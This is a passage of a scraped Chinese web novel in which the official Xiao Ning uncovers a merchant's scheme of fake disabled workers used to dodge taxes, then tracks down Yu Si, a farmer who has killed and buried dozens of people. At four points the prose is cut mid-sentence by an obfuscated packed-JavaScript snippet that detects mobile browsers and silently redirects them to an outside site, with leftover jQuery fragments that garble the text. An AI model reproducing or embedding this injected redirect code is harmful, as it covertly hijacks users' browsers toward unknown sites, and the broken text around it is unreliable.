六幺道:“好像回到了白家的布行里。” “你偷偷带着一队衙役,去把那批残疾人抓来。” “是。” 接着,萧柠又叫来几个捕快,让他们去抓布商白绍雄。 萧玉蟾道:“之前的仓库纵火案,会不会是白绍雄做的?” 萧柠道:“现在还不知道。但是,如果他真的在前几天放了火,又抓走或是杀了8个人的话,应该是没有心情出来转运这些残疾人的。” “嗯,这倒有理。” “总之,审了再说。” 很快,白绍雄和那三十多个残疾人就被带到了公堂上。 萧柠一拍惊堂木,道:“白绍雄,据查,你的所有工坊都因为雇佣大量残疾人,而享有较低的税率。可是,这些残疾人却是同一批,对吗?” 白绍雄喊冤:“冤枉啊大人,没有这种事!白某所雇佣的残疾人,在官府都登记了名字。大人尽管去查,看那些残疾人的名字是否相同,就知道了。” “换个名字而已,很简单的事,这并不能证明什么。现在跪在公堂上的几十个残疾人,是你哪家工坊的工人?” “是……白氏布行。” “好,你名下一共有6家工坊,每家工坊都登记了几十名残疾工人。现在你把另外五家工坊的残疾工人全部叫过来,本官才相信你没有弄虚作假。” “这……大人,小人的工坊在不同的地方,怕是不太方便……” “本官可以派五路衙役同时出发。如果另外五家工坊的残疾工人全部到场,应该有一百多人。” “我……这……” “你一下子找不出这么多残疾人来,因为他们本就不存在。” 白绍雄只得承认:“大人,小的这么做,也是逼不得已……现在各行业利润都低,如果小人不想办法降低税率的话,根本生存不下去……” 萧柠冷笑:“这话让一些小商人来说,尚且有几分可信度。可是你,白大商人,产业众多,资产雄厚,家中房屋田产、妻妾婢女众多,你来说这话,未免让人笑掉大牙。分明是你贪心不足,不仅要多赚钱,还要少交税。至于这些残疾工人,他们一直以来都辗转各个工坊干活,这个事他们不可能不知道……” 见萧柠要判残疾工人的罪,有个瘦弱的少年道:“大人,请您明鉴,这都是白老板逼我们的。他让我们在很多工坊干活,登记不同的名字,这样我们同一批人,就可以帮很多个工坊减税……我们被他威胁,不敢说出去,我们是弱势群体……” 萧柠惊讶地看着那位瘦弱少年:“这位小哥,根据官府登记的资料,你应该是个哑巴。” 那瘦弱少年眼睛瞪得很大,意识到自己做错了事,赶紧捂住嘴巴,可是已经来不及了。 萧柠万万没想到,这群残疾人也有猫腻。 她对衙役们说道:“你们来试试这群残疾人,看他们是不是真残疾。” 衙役们牵出几条恶犬,那些恶犬非常高大,看起来会咬人。 衙役们放开绳子,恶犬们扑向那群残疾人,残疾工人们站起来便跑。 萧柠注意到,有几个本该是瘸子的人,跑得飞快,两条腿一点问题都没有;有几个本该是盲人的人,也能一边看着恶犬,一边判断应该往哪里躲;有几个本该是哑巴的,在那儿尖叫连连。 只有几个外表看起来是成年人,但眼神清澈又愚蠢的工人,见了恶犬也不知道躲,恶犬跑近了,他们只会哇哇大哭,哭泣的模样跟小孩似的,一看就是心智不全。 看来,这伙人里面,真正的残障人士只有这几个。 萧柠冷笑一声,命令衙役收回恶犬,把那些工人重新抓回来跪好。 萧柠看向白绍雄:“白老板,你解释一下吧。” 白绍雄结结巴巴地说:“我……小人不知……不知是怎么回事,这群工人怎么可以假装残疾人,欺骗我……” 这时,先前那瘦弱少年对白绍雄道:“舅舅,您不能把责任都推在我们身上啊!” 有个膀大腰圆的妇女也说道:“七叔,您快帮我说句话啊!当初是您说可以让我装成残疾人,领取残疾人补助的……” 其他工人也纷纷叫嚷开了,他们要么是白绍雄的亲戚,要么是好友的家属,总之有一大半是跟白绍雄有牵扯不清的关系的。 有些小吏、衙役都暗暗发笑,萧柠也觉得事情越来越有趣了。 萧柠神情严肃地看向白绍雄:“白老板,规则可算被你给玩明白了。你不仅用同一批残疾工人骗取多家工坊的税收优惠,就连这些残疾人,你都不愿意找真的,而是让你的亲朋好友来充当。 他们既能得到好几个工坊发放的工钱,还能享有残疾人缴税的优惠政策,少交或是不交税。你这是两头吃啊。占这么多便宜,你们的良心真的不会痛吗?” 白绍雄辩解道:“我……我也有难处。能力越大,责任越大;事业做得越好,靠我活着的人也就越多。有些忙我不得不帮……” “你不得不损害国家、官府和其他百姓的利益,占尽所有便宜,让自己和亲朋好友得利,实在是太苦了。还有比你更苦的人吗?” “我……” “白老板,据查,你这一批所谓的残疾人,不仅辗转在你自家的工坊干活,还去别人的工坊充人数。究竟还有哪些商人跟你狼狈为奸,从实招来,本官还可酌情减少对你的惩罚。如若不说,本官会从重处罚。” 白绍雄只得交代了跟他一起偷税漏税的几个大商人。 而那几个大商人被抓来之后,见白老板出卖他们,索性豁出去了,交代了他们这一伙人偷税漏税的其他详情,远不止萧柠查到的这些。 最后,萧柠对这几个奸商,还有那些伪装成残疾人的百姓都处以罚款,并让他们补齐所漏缴的税额,一共收入10万4000两。 涉案的所有人都需做一段时间的苦力,时间从三个月到三年不等。 只有几个真正的傻.子逃过一劫。 但是那几个傻.子没有劳动能力,本来是不能被雇佣的。白绍雄等人雇佣他们,只是为了充数,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147066|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 减一点税。 现在萧柠把那几个傻.子安排到慈幼院里,让人照顾他们。 白绍雄等违法商人名下的一些工坊,交给官府,官府另外找人经营。 萧柠又盘问了这几个商人,之前外地客商的仓库着火,家丁失踪,是不是他们做的。 但他们矢口否认,还说可以随便萧柠去查。 萧柠趁这个机会,调查了这几个商人的所有房屋、产业、工坊,都没有发现什么线索,也没有发现那八名失踪家丁的踪迹。 看来,仓库纵火案的犯案者,另有其人。 萧柠只能先发落了白绍雄等人,让他们去做苦力。 可是没过几天,萧柠接到了青州府的文书。 上面写着,白绍雄等商人虽有偷税漏税等情况,但他们这么多年来经营商业,利国利民,功不可没,不宜处罚太过。既已罚款,苦力可免,让他们闭门思过便是。 至于他们名下的工坊,青州府已派人来接管,萧柠只需将一切事宜交接给前来的商人。 萧柠只能按照青州府的批文行事。她取消了白绍雄等商人的劳役期,让他们回家闭门思过。 同时,这几个商人名下的工坊,全部交接给青州府派来的商人。 这几个商人虽然说话客气,但萧柠感觉他们圆滑世故,又带着几分傲慢,不太好打交道。 萧柠本想自己找几个诚实可靠的商人来接手这些工坊,但现在,这件事已经没有她插手的余地。 她感觉容城的水很深,白绍雄等人应该是有后台的,所以青州府亲自出面干预。 果然不出所料,青州府派来的这些商人,经常出入白绍雄等人的府第,看起来两拨人挺熟悉的。 没过多久,这几个青州来的商人又聘请了白绍雄等人为工坊主事,仍旧管理着这些工坊。只是工坊的主人表面上换人了而已。 但实际上,应该是换汤不换药。 律法也没有规定工坊的新主人不能雇佣旧主人,所以萧柠也拿他们没办法。 反正已经拿到了一些钱,填补了官府的亏空,也算是有所收获。 现在官府账面上还欠着24万多两银子,但已经比先前好多了。之前欠下的一些陈年旧账,也已经还清。 系统给了萧柠10万积分,现在的积分是112800。 萧柠之前做的咖啡线香很受欢迎,十个酒楼的老板拿去卖给顾客,很快就被抢购一空。 后来萧柠用催熟液催熟咖啡,一月之内熟了六次,全部卖给10个酒楼掌柜,挣了21000两。 她把自己之前为官府垫付的钱报销了,剩下的钱归入官府的财库。 现在官府的赤字只有22万多两了。 由于萧柠对官府财政做出了巨大贡献,系统给了萧柠3万积分,现在的积分是142800。 萧柠正准备继续催熟咖啡树,谁知青州府的别驾易思贤又来了。 他说青州府很缺钱,既然萧柠的咖啡树可以制作咖啡线香,他就把咖啡树移植走了。 124. 运尸(修) 之前易思贤觉得咖啡汁很苦,便以为咖啡树无用,没想到咖啡果还能拿来做线香。 萧柠没有把这件事告诉他,他斥责了萧柠一顿,并勒令萧柠不得继续种咖啡树,然后让人把咖啡树挖出来,大摇大摆地离开了。 萧柠很沮丧,也很生气,可是没办法。 系统安慰她道:“放心吧,萧柠,没有催熟液,他们种不活咖啡树的,拿了也白拿。” “可是,他们要是种死了,我就算把咖啡树移植回来也没用了。” “没关系,你种咖啡树是为了挣钱嘛,这条路行不通,你可以通过别的方式挣钱。” “好吧。” “别难过了,给你一颗话梅糖。” 萧柠手里出现了一块糖。 她放到嘴里,甜甜的,还有话梅味。 她心情瞬间好了起来。 不过,她突然想到了什么,问系统:“这颗糖是用积分换的吗?” “不是,这是赠品。你不是在商城买了很多东西吗,能获得不少赠品。但有些赠品你用不上,所以我没有兑换给你。” “有什么是我用不上的?” “鼠标、充电器、蓝牙耳机、iPad、U盘……” “这都是什么,我一个也听不懂。” “是现代一些高科技的产品,就算给你,没有电,没有网络,你也用不上。” “能不能换成我用得上的东西?” “我跟主系统申请一下,需等待几个时辰或几天。” “嗯。” ______ 在外游历的女护卫桑叶传回消息,说是近日皇上偶感微恙,大皇子在自己府中跪地祈福,希望皇上早日痊愈,跪得太久,竟致昏厥。 大皇子又用自己的血作为药引,煎药给皇帝喝。 皇帝深受感动,复大皇子为齐王,解除禁足,并让他入朝议事。 看完了桑叶的来信,萧柠冷笑一声:“最近真是没一个好消息,大皇子太会演了。之前他犯那么大的错,父皇竟然这么轻易地就原谅了他。 我本以为大皇子已经出局,三皇弟可以慢慢发展势力,一争太子之位。但我还是把大皇子和靳妃想得太简单了。” 系统插嘴:“要打倒他们没那么容易,皇帝最宠爱的就是靳妃和她的孩子了。不管大皇子犯多大的错,皇帝最终都会原谅的。你想扶持三皇子,只怕还有很长的路要走。” “好吧。我现在远在边境,也是鞭长莫及啊。” “别气馁。告诉你一个好消息,你那些高科技赠品,可以全部兑换成油、醋、花椒、梅子、生姜、豆瓣酱等调味品。” “一共能兑换多少?” “可以兑换五千份,每份都包含7种调味品,一份的份量够用一两个月的。如果你不想要这些的话,可以兑换成衣服。” “调料也挺好的,我可以发给贫困的百姓。就要五千份调料吧。” “好。” 系统让萧柠空出几间房屋,然后它把五千份调料全放到空屋子里。 很快,几间空屋子就塞满了调料。 萧柠把瞿明修叫来:“瞿长史,这些调料是我最近购买的,打算发给容城的贫困户。容城一共有七个县,麻烦你按照贫困比例,分配一下这些调味品,然后送到县里去吧。或是叫几个县的官吏来拿也可以。” 瞿明修道:“是。” 系统给了萧柠6000积分,现在的积分是148800。 几天后的深夜,萧柠忽然听见了扣门声。 有人在敲衙门的大门,声音又响又急。 萧柠就住在衙门里,所以被惊醒了。 按理说,如果有冤情,应该敲门口的鼓才对。来人却急切地拍门,可能是有什么不寻常的事。 萧柠赶紧让鸾音、绿袖等女护卫过去看看。 过了一会,鸾音回禀:“公主,来人是文县县令奚大人,他说有要紧事要回禀公主。” “是他?” 萧柠赶紧穿上官府,走到门口。 文县县令奚粲果然站在门口,一脸焦急。他脸上还有伤口,可能是赶路太急,摔伤了。 萧柠问道:“奚县令,您半夜前来,有何要事?” “太守大人,出大事了……请您多带些人,随我前往文县……” “不会是出人命了吧?” “是,而且不止一条……您先叫人,我在路上跟你们细说。” 萧柠赶紧叫上长史瞿明修、司马凌长空,还有衙役二十名、鸾音等护卫五六人,跟自己一起出发去文县。 路上,奚县令解释道:“前几日,太守大人分了一些调味品到本县,我就让下属们查阅贫困人口的资料,按时把调味品发下去。有个老农余四,无儿无女,年纪很大了,平时靠种菜为生,也属于贫困户。 有个小吏拿着调味品去他家,发现他不在。邻居说,余四去外地卖菜了,可能要过一两天才回来。 那个小吏便把调味品放在了他家的灶台上。可那小吏无意间发现,灶台里面竟塞着一把刀。他把刀拿出来一看,发现不是平常的菜刀、水果刀之类的,而是一把锋利的鱼头刀。 鱼头刀多为江湖人士佩戴,余四是个农民,平时没有使用鱼头刀的场合。而且,他应该也不会用才对。 那个小吏觉得奇怪,先把刀放了回去,然后到处观察余四的家。他竟发现,在角落的一个破碗里,藏着二百多两银子。破碗被很多东西盖住,乍一看看不出来。 按理说,余四不会有这么多钱。即便是他卖菜所得,也不会有二百多两。 不管他是如何得到的,他既有这些钱,便该告知官府,取消贫困户的身份,可他也没来官府报备。这跟他平时老实本分的形象很不相符。 那个小吏又走了出去,查看余四的田地。 他发现,余四的地里种的蔬菜,比其他人的蔬菜好一些,又大又好看。 他便想摘两棵白菜回去吃,在屋里留下买白菜的钱和字条,等余四回来自然知道。 谁知,那个小吏拔了两颗白菜,却发现泥土有一股异常的臭味。他往下挖了挖,发现了一节人的手指。 他吓了一大跳,不敢继续往下挖,而是偷偷跑回县衙,告知下官,让下官派更多人去挖地。 下官便派人去挖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147067|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,结果在余四的地里发现了很多尸骨,有的已经只剩白骨了,但还有八具尸体没有完全腐烂,看那八具尸体的衣服,像是大户人家的家丁。 下官想起,之前太守大人张贴告示,说有几个外地客商的家丁失踪了,失踪者一共八名,也许跟此事有关。 所以,下官就赶紧来找您了。” 萧柠听得心惊不已:“莫非那几个外地客商的家丁,被那个老农余四所杀,埋在地里?” 奚县令道:“下官也是这么想的。” 萧柠叫来鸾音,道:“鸾音,你去找那几个外地客商,让他们赶到文县的村民余四家中。” “是。” 萧柠又问奚县令:“地里的尸体没有被别人瞧见吧?” 奚县令道:“没有。农夫余四住得偏远,本来也没几个邻居。在他的地里发现尸体后,下官就命人拉起了警戒线,不许人靠近。如果有人打听,就说是有贼人进了余四的房间,被官府捉住了,正在审问。” “余四一般什么时候回来?你派人去城门口守着了吗?” “是,已经派人去了。如果余四回来,经过城门口,就会被抓。他经常出城卖菜,等卖完就会回来,没有固定的回来时间。” “余四应该不是一个简单的人物,他每次出去未必是去卖菜,而是去干别的事了。他家里藏有鱼头刀,而且他能无声无息地抓走八个家丁,杀人埋尸,恐怕他的功夫很高。只靠普通的衙役,未必捉得住他。” “下官也想到了这点,所以派去的是功夫最高的衙役和官吏。” “保险起见,我让凌司马带我的几名护卫一起去城门口吧,这样更容易抓住余四。” “是,还是太守大人考虑得周到。” 于是,凌长空带着萧柠的几名侍卫,一起转道去了文县的城门。 而萧柠和奚县令一起,赶到了农夫余四的家中。 萧柠先去了余四家中,发现一切都跟奚县令所说的一样,灶台里面藏着一把刀,房间角落的破碗里有二百多两银子。 接着,萧柠走到余四的田地里。 地里的菜都已经被拔起来了,堆在一边,但是看不见尸体。 萧柠问:“挖出来的尸体呢?” 奚县令道:“因为之前怕被人不小心看见,我就将尸体并排放置,上面盖一层油布,再在油布上撒上一层泥土。这样,远远看着,田地不像是被挖开的,尸体也看不见。” 萧柠点头:“还是你考虑得周到。” 奚县令让人把油布的两个角掀开,露出底下的尸体。 尸体一共八具,穿着家丁的衣服,但衣服各不相同,可见这八个人应该出自好几家。 他们的面部已经开始腐烂,所以萧柠也没法肯定他们是不是那失踪的八个家丁。 萧柠带来了仵作,经仵作验尸,这八具尸体的死亡时间大概是七八天,跟那几个外地客商报官的时间一致。 尸体上没有明显伤口,只有头顶处有破裂痕迹,这八具尸体很有可能是被一个高手一掌击碎头颅而死。 萧柠道:“余四杀人之后,是怎么把八具尸体运到他自己家的田地来的?” 125. 甜食(修) 奚县令看了看四周,指着不远处的河流,道:“大人请看,那条河流叫淇水,从容城流往文县。容城地势高,文县地势低,也许余四是利用了这条河流来运尸。这样比他自己扛过来要方便很多。” 萧柠点头:“确实如此……只是,这个余四的杀人动机是什么?他的真实身份应该不简单,但他一直生活在文县附近,跟那几个外地客商无冤无仇。他为何要放火烧了那几个外地客商的仓库,还杀了客商们的家丁?” 瞿明修道:“如果他跟那几个客商有仇的话,应该直接杀死客商,而不是杀了他们的家丁。这几个家丁都在仓库那边巡视,余四杀了他们的真实目的,应该是不让他们有机会说出自己的样貌。余四只烧仓库,很有可能是出于生意竞争。” 奚县令道:“这不对啊,余四一直是种地的,没有经商。按理说,不会跟那几个外地客商有矛盾才对。” 萧柠道:“可能只有抓到余四,才能真相大白了。对了奚县令,你之前说,除了这八具尸体外,地底下还埋着其他白骨?” “是的,白骨有很多,下官没继续往下挖,也没有取出来,而是先用土盖上了。下官打算等抓到余四后,再把所有尸骨挖出,这样可以避免打草惊蛇。” 萧柠点了点头。 奚县令果然很聪明,如果他把地里的白骨全部挖出,放在地面上,过路的人难免会看到。那么,消息很可能走漏到余四那里,余四可能就闻风而逃,不会再回来了。 萧柠道:“看来这个余四,手上的人命很多啊。他可一定要被活捉,我们要深挖的东西多着呢。” 奚县令道:“确实如此。” 萧柠问道:“哪几块地是余四的?” 奚县令把余四的地都指了出来,道:“就是这些。” “这么看来,余四的地也不多,那他能种的蔬菜也不多。这附近肯定有菜市场,他没必要到外地去卖菜。长途跋涉,菜不新鲜了,反而卖不出好价钱。所以,他很有可能以卖菜为借口,去做别的事;或是把什么东西夹带在菜里,别人也发现不了。” 奚县令道:“大人说的有理。对于这些贫困户,城门口的士兵们是不会仔细搜查的。尤其是像余四这种菜农,士兵们生怕弄坏了他的菜,肯定是随便看看就让他过去了。这些年,他也不知道夹带了什么出去。” 众人等待了一会,鸾音带着范自安等几个外地客商过来了。 萧柠对他们说明情况,道:“你们去看看,那八具尸体是不是你们家失踪的家丁。” 几个客商过去一看,发现确实是自家的家丁。 虽然尸体的面部已经无法辨认,但从身体特征、尸体的衣服、身上携带的小物品等方面,还是能辨认身份的。 几位客商都十分伤心,走到萧柠面前,问道:“大人,您是怎么发现这些家丁的尸体的?” “他们是被何人所杀?” “他们的尸体怎么会被运到这里?” “他们身上有土,难道被埋在了地底下?” 萧柠道:“具体缘由,本官现在也不知道。你们可以留下,真凶应该马上就会被抓到了。” 这几个客商虽然是大半夜起来赶路,一路非常辛苦,但他们见到家丁们的尸体,惊惧伤心之下,反而不觉得疲惫,睁着眼睛,茫然地等待着。 大约半个时辰后,半空中燃起一个金色的弯月形状的烟花。 萧柠看了之后,道:“这是我的侍卫们放的,他们大概是成功抓到余四了。” 放烟花是萧柠和侍卫们互通消息的方法之一,如果是这种金色、弯月形状的烟花,代表事情成功。 不过,侍卫们赶到此处,还需要一点时间。 又过了半个时辰后,凌长空、侍卫们和一班衙役们一起带着一个五花大绑的农夫过来了。 这农夫长得很壮实,面目黧黑,脸上皱纹纵横交错,浑身灰扑扑的,乍一看就是个普通的农夫。 萧柠问道:“这就是余四吧?” 奚县令没说话,旁边的一个小吏道:“是的,我之前见过他。” 余四只是个农夫,身为县令的奚粲并不认识他,只有经常跟底层百姓打交道的小吏认识。 余四身上绑满了绳子,严严实实的跟个粽子一样。 而那些侍卫、衙役们,好多都挂了彩。 看来,抓住余四的过程并不轻松。 萧柠问道:“你们可测出了余四的虚实?” 凌长空道:“余四的功夫很高,属下和几个侍卫联手,才把他抓住。好几个侍卫、衙役都受了伤。如果属下和侍卫们不在,仅凭文县的衙役们,恐怕抓不住他。我们怕他跑了,所以点了他的穴道,把他绑得严严实实的。” “他使用的武器是鱼头刀?” “是的。他的手推车上也藏了一把鱼头刀,后来被我们所夺,刀在这里。” 凌长空拿来一把鱼头刀,这把刀的模样跟余四家里的鱼头刀一样。 萧柠看向余四:“余四,现在你可以老实交代了吧?” 余四道:“交代什么?一个农夫练武防身,犯法吗?” “练武不犯法,但你杀人埋尸,火烧仓库,就犯法了。” “小人没做过这些事。” “那你地里的尸体哪里来的?” “兴许是别人埋在这里的。” “你若不肯老实交代,本官只能用刑了。” “就算用刑,我也不能交代自己没做过的事。” 萧柠冷笑一声,抓起余四的手掌,仔细观察。 余四的手比寻常人大了一倍有余,手掌和手指都很硬,像是铁打的一样,完全摸不出肉感。 萧柠问凌长空:“凌司马,你对武学了解比较多,这个余四的手是不是能一掌拍死人?” 凌长空道:“余四应该练过铁砂掌一类的功夫,如果用来对付普通人,一掌打中头顶,就能致人于死地。” 余四道:“练过又怎样?我没杀人。” “余四,你把尸体埋在自家地里,用尸体做肥料,难怪种出来的菜比别人好。只是,这种菜,你也吃得下去?” “我并不知情,我还以为是运气好,才种出好菜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147068|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “本官刚才已经问过这附近的村民,他们说附近有三个菜市场。你为何不就近卖菜,而是要跑到外地卖菜?” “隔壁的城市有我的朋友,他们都想吃我种的菜,所以我才把菜运到隔壁城市去。” “看来不用刑,你是不会招了。来人,把他带到文县的县衙去。” 接着,萧柠对奚县令道:“县令大人,借你的县衙一用。” 奚县令赶紧说道:“大人只管用便是。” “请县令大人搜查余四的家和田地,看看还有没有其他破绽。所有白骨一并挖出,数清楚数量,再请仵作检验。” “是。” 萧柠对瞿明修说道:“瞿长史,请你在全城张贴告示,有谁认识余四,且发现他有异常行为的,立刻报告官府,提供线索者有重赏。” “是。” 萧柠把余四带到了文县的县衙,用了刑,可是余四一声不吭。 板子打在他身上,就像是打在牛皮上一般,似乎对他造不成什么伤害。 萧柠又百般盘问,可余四怎么也不肯招供。 瞿明修在一边看着,对萧柠道:“大人,此人练的应该是外家功夫,一身铜皮铁骨,平常的刑罚对他来说根本不重,他完全吃得消。” “那该如何?” 瞿明修小声地对萧柠说了几句话,萧柠点了点头。 萧柠让衙役去准备热水,又低声对衙役吩咐了几句。 过了一会,衙役端来一杯热水。 萧柠道:“余四,从你被抓到现在,应该还没喝过水吧?本官特意给你准备了一大杯热水,你快喝吧。” 说着,衙役就把热水灌进了余四口中。 这水倒不是很烫,但非常甜,也不知道放了多少糖。 余四这辈子都没吃过这么甜的东西。 萧柠又道:“你经过长时间打斗,应该也饿了。来人,给他喂点饭,记得多放点菜。” 衙役又端来一碗饭。饭里拌了许多白糖、樱桃、蜜瓜、椰枣、菠萝、柑橘、树莓、梨子等甜味水果。 余四从来没见过这种饭,他想不吃,可是他穴道被点,身体又被人按住了。 衙役们掰开他的嘴,把这碗甜得不行的饭全都喂了下去。 纯甜,没有盐,没有油,没有醋,没有辣椒。 但是,余四却吃得很痛苦。 萧柠道:“来人,把余四关进大牢。每隔一个时辰,给他喂一碗甜水、吃一碗甜饭。他如果想喝清水、吃咸的饭菜,就让他写认罪书。” 衙役们道:“是。” 余四用一种震惊的眼神看着萧柠,似乎想不到萧柠会这么狠。 萧柠只是微笑着目送余四离去,说道:“本官是不喜欢严刑拷打的,相反,在待遇上,决不能亏待了囚犯。不管白糖、水果多贵,都要足量供应,让犯人在牢里也能过得好。” 余四有一种有苦说不出的感觉,萧柠心里高兴坏了。 瞿明修道:“就这样给他吃几天糖,他肯定受不了的。” 萧柠笑道:“瞿长史,还是你有办法。” 126. 藏珠(修) 几个时辰后,奚县令带着他的下属们回来了。 奚县令对萧柠说道:“大人,我们仔细翻找了余四的家和田地,除了挖出二十多具白骨之外,其余没有什么发现。我们连他家的墙壁都拆了,也没发现什么。” 萧柠问道:“那二十多具白骨,包括那八个家丁吗?” “不包括,刚才下官提及的白骨,都是已经死了很久了、身上没有肉的尸骨。如果算上那八个家丁的话,所有的尸体一共是三十多具。根据仵作检验,那些白骨的死亡时间在两三年到六七年不等,男女老幼均有。” “能跟文县近年来的失踪人口对上吗?” “失踪人口很多,暂时没法对应。下官已经让人贴出告示,如果家里有失踪人口的,可以来认尸。不过,这些白骨都没什么特殊的痕迹了,恐怕很难被认出来。” “余四杀这么多人,难道只是为了用尸体来种菜?这不合理……而且,他在家里偷偷藏了二百多两银子,证明他平时应该有来钱的方法,说不定还有一大笔财产藏在别的地方。他身怀绝技,不可能过真正的穷日子才对。” “大人,我把余四的邻居带来了,大人可要问话?” “嗯,让他们上堂吧。” 余四的邻居一共五个,分别属于两家人,一家是一对老夫妻,一家是年轻的一家三口。 萧柠问道:“余四可有什么奇怪的地方?” 邻居道:“我们平时见到余四的时候,他都挺正常的。所以,我们这么多年也没发现他身份不简单。” “他埋尸体、练武的时候,都没被你们瞧见过?” “没有,可能他是在半夜做这些事的。” “你们发现他买过什么比较贵的东西吗?” “没看见过。不过,他看起来体格健壮,面色不错,不像是长期吃不饱、穿不暖的贫困户。我们还以为,他生来就身体好,所以没有像其他贫困户那样面黄肌瘦。” “他是不是经常离开家?” “对,他经常去外地卖菜,很少在附近的菜市场卖菜。我们问他为什么,他就说外地的朋友想吃他种的菜。” “他那些外地的朋友,有来拜访过他吗?” “没有。” 看来,邻居这里也没有更多线索。 萧柠对奚县令道:“我要回余四家看看,县令大人一起去吗?” “可以,不过余四家都被拆得差不多了。如果这次不能给余四定罪,还得赔他重建房子的钱。” “那就不给他重建房子的机会。” 萧柠带着奚县令和一些下属,重新去了余四家。 她就不信,余四会不留下一点破绽。 一个人如果连人都敢杀,这么多年却只是种种地、领领低保,是不合逻辑的。 一个时辰后,萧柠来到了余四的家。 这里已经是一片废墟了,几乎没什么完好的东西,可见衙役们是真的掘地三尺,认真搜查了。 之前在余四家发现的二百多两银子和一把鱼头刀,已经被官吏们收起来了。 现场确实只有废弃的砖石。 余四的土地也被挖得很深,而且全都挖遍了。如果他藏了什么东西在地里,现在应该也早就挖出来了。 萧柠围着废墟仔细看了看,突然指着几块石砖道:“这些不太对劲。” 奚县令问道:“哪里不对劲?” “这几块石砖太平整了,没有任何破损和缺口。” 普通的石砖经过多年的风吹日晒,多多少少会有一些老旧和破损的。 而且,刚才衙役们直接砸墙,这些石砖一定会被进一步损坏。 事实证明,现场大部分石砖都是破损、残旧的,有的直接断成了几截。 但是,萧柠所指出来的这几块石砖,近乎完美。 事出反常必有妖。 奚县令伸手摸了摸这几块石砖,道:“这几块……表面上看是石砖,但材质好像跟普通石砖不一样……” 凌长空也走了过来,拿起一块石砖研究。 过了一会,凌长空道:“我知道这些石砖的机关了。” 说着,他用巧劲推石砖的一侧,竟推开了。 也就是说,他手上这块石砖是空心的,他推的那一侧就是石砖的“门”。 打开之后,里面是一个布包。 这布包用的布也不寻常,非常有韧性。 打开布包,里面竟是玉扳指、金戒指、红玛瑙、绿翡翠这样的宝物,数量不多,但每一件看起来都很贵的样子。 剩下的几块石砖,打开之后也都是一些钗环珠翠。合计起来,有三十多件。 萧柠看一旁放着余四运菜用的小推车,便走上前看,敲了敲车板,道:“这推车的车板会不会也是空心的?方便他装这些宝物出去倒卖?” 有个衙役道:“我们刚才试过了,这小推车的车板好像是实心的。” “要不再仔细检查一下?” 几个衙役仔细敲打着推车的车板,终于发现了猫腻。 “大人,这个车板大部分地方是实心的,只有左下角有一块地方是空心的。” 空心的地方,也有一块活动的“门板”,只是不仔细看看不出来。 打开空心的地方,只见空间不大,大概只能装五六件首饰。 奚县令道:“太守大人所料不错,余四每次借故去外地卖菜,实则是把一些珠宝藏在车里,运到外地,转手卖掉。他每次能运走的珠宝不多,所以把剩余的珠宝藏在这些空心砖里。 这个推车的空心之处应该是他自己挖出来的,而他故意挖得这么小,一方面是为了掩人耳目,另一方面是他也不需要太大的空间。每次卖掉四五件东西,够他挥霍一阵就可以了。等钱花完了,他再继续倒卖几件珠宝。 至于这些珠宝首饰,一定是来路不正的。” 萧柠道:“如果把这些珠宝拿到他面前,他一定又要说是别人陷害他,他什么都不知道。” 凌长空道:“听闻公主让余四每天吃很多甜食,连喝的水也是糖水。这样下去,他应该坚持不了几天的。我们先把证物拿回去。” 萧柠点点头,对奚县令道:“奚县令,余四自己肯定不会买这些女人用的饰品,这些珠宝可能是从别人家偷的。最近这些年,有人报官说自家失窃吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147069|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有,但是有的东西能找回来,有的东西一直没找回来。” “请县令大人张贴告示,就说找到了一些无主的珠宝,请家中有珠宝失窃、但还未找回来的苦主,前来县衙认领。” “是。” 回到县衙后,已经天黑了。 萧柠来到大牢,询问狱卒:“余四肯招供了吗?” “他不肯招供,我们给他吃饭喝水,他紧闭着嘴,就是不张开。我们把饭菜放在他面前,让他饿了吃,但他一直没动过。想必他也知道饭菜和水里全是糖,越吃越难受,干脆不吃。” “他饿了多久了?” “大概有两三个时辰了。” “我给你们加夜宵,再买几壶酒,你们在余四面前吃。” “是,多谢大人赏赐。” 